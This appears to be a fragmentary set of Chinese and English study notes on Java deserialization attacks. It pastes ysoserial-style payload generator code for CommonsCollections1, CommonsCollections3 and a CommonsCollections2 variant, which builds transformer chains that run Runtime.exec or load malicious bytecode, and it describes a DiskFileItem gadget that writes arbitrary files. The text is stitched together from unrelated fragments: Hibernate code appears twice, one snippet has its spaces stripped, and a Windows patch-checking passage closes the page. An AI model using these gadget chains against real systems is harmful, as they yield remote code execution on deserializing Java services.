class Outer{
String data = "Out!";
public class Inner{
String data = "In!";
public String getOuterData(){
return Outer.this.data; // will return "Out!"
}
}
}
public int getHashCode(Object x) {
int result = 17;
for(int i = 0; i < this.propertySpan; ++i) {
Object y = this.getPropertyValue(x, i);
result *= 37;
if (y != null) {
result += this.propertyTypes[i].getHashCode(y);
}
}
return result;
}
//org.hibernate.type.ComponentType
public int getHashCode(Object x) {
int result = 17;
for(int i = 0; i < this.propertySpan; ++i) {
Object y = this.getPropertyValue(x, i);
result *= 37;
if (y != null) {
result += this.propertyTypes[i].getHashCode(y);
}
}
return result;
}
public Object getPropertyValue(Object component, int i) throws HibernateException {
return component instanceof Object[] ? ((Object[])((Object[])component))[i] : this.componentTuplizer.getPropertyValue(component, i);
}
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
//开一个chainedTransformer
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
//真正的链子
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
CommonsCollections3
巧了这次没链子了（
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
//InvocationHandler->Map(Proxy)->ChainedTransformer->InstantiateTransformer.transform->input.getConstructor(javax.xml.transform.Templates)->con.newInstance(恶意字节码)
上代码
publicObjectgetObject(finalString command)throwsException{Object templatesImpl =Gadgets.createTemplatesImpl(command);// inert chain for setupfinalTransformer transformerChain =newChainedTransformer(newTransformer[]{newConstantTransformer(1)});// real chain for after setupfinalTransformer[] transformers =newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{ templatesImpl })};finalMap innerMap =newHashMap();finalMap lazyMap =LazyMap.decorate(innerMap, transformerChain);finalMap mapProxy =Gadgets.createMemoitizedProxy(lazyMap,Map.class);finalInvocationHandler handler =Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain,"iTransformers", transformers);// arm with actual transformer chainreturn handler;}
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
//PriorityQueue->TransformingComparator.compare->ChainedTransformer.transform->InstantiateTransformer.transform->TrAXFilter构造函数
/**
* Gadget chain:
* DiskFileItem.readObject()
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
**/
There are two options to check for missing patches: a. Launch missingkbs.vbs on the host to have Windows determine which patches are missing b. Use Windows’ built-in systeminfo.exe tool to obtain the system information of the local system, or from a remote system using systeminfo /S MyRemoteHost, and redirect this to a file: systeminfo > systeminfo.txt
有两个选项可以检查缺失的补丁：在主机上启动missingkbs.vbs，让 Windows 确定缺少哪些补丁 b.使用Windows内置的systeminfo.exe工具获取本地系统的系统信息，或者使用systeminfo /S MyRemoteHost从远程系统获取系统信息，并将其重定向到一个文件：systeminfo > systeminfo.txt
